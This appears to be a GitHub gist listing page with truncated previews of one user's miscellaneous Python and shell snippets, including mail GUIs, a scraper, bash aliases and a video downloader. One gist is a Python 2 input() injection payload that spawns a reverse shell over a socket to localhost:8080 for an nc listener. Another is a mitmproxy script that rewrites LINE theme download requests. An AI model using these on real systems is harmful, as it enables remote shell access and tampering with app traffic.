This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| import sys | |
| import json | |
| import urllib | |
| import urllib2 | |
| import oauth2 as oauth | |
| from multiprocessing import Process | |
| import datetime | |
| import base64 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| import smtplib | |
| import email | |
| import wx | |
| HOST = "hogehoge.jp" | |
| def click_post(event): | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| import telnetlib | |
| import wx | |
| HOST = "127.0.0.1" # hoge.jp | |
| PORT = 25 # smtp | |
| def click_post(event): | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| import wave | |
| INFILE = "beatefll.dll" | |
| OUTFILE = "beatefll.wav" | |
| f = open(INFILE, "rb") | |
| wv = wave.open(OUTFILE, "wb") | |
| data = f.read() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import lxml.html | |
| res_html = lxml.html.parse("http://seccon2015.connpass.com/event/21425/").getroot() | |
| target_path = "/html/body/div/div/div/div/div/h4/a" | |
| print(res_html.xpath(target_path)[0].text) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def f(i): | |
| if i == 0: | |
| return 1 | |
| else: | |
| return i * f(i - 1) | |
| s = str(f(int(raw_input()))) | |
| i = len(s) - 1 | |
| while s[i] == "0": |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #alias python="bpython" | |
| #for i in `seq 5`do echo 1; done | |
| alias ls='ls -CF' | |
| alias s='ls' | |
| alias l='ls -CF' | |
| alias ...='cd ../../' | |
| alias ....='cd ../../..' | |
| alias la='ls -a' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| from libmproxy import controller, proxy | |
| from libmproxy.proxy.server import ProxyServer | |
| import commands | |
| def themerequest(flow): | |
| target_host = "dl.shop.line.naver.jp" | |
| target_path = "theme.zip" | |
| replace_path = "/themeshop/v1/products/5b/8f/d2/5b8fd2d0-03ba-45d2-9c81-c5ad9b1abfe0/2/ANDROID/theme.zip" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## nc -l 8080 | |
| ## >>> input() | |
| __import__("os").system("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("localhost",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import argparse | |
| import os | |
| parser = argparse.ArgumentParser(description="Anitube Downloader") | |
| parser.add_argument("url", nargs="*", | |
| help="anitube url(list). example:http://a http://b") | |
| parser.add_argument("--path", type=str, | |
| default="/home/{user}/Videos/".format(user=os.environ["USERNAME"]), | |
| help="videos save path. default:/home/user/Videos/") |
OlderNewer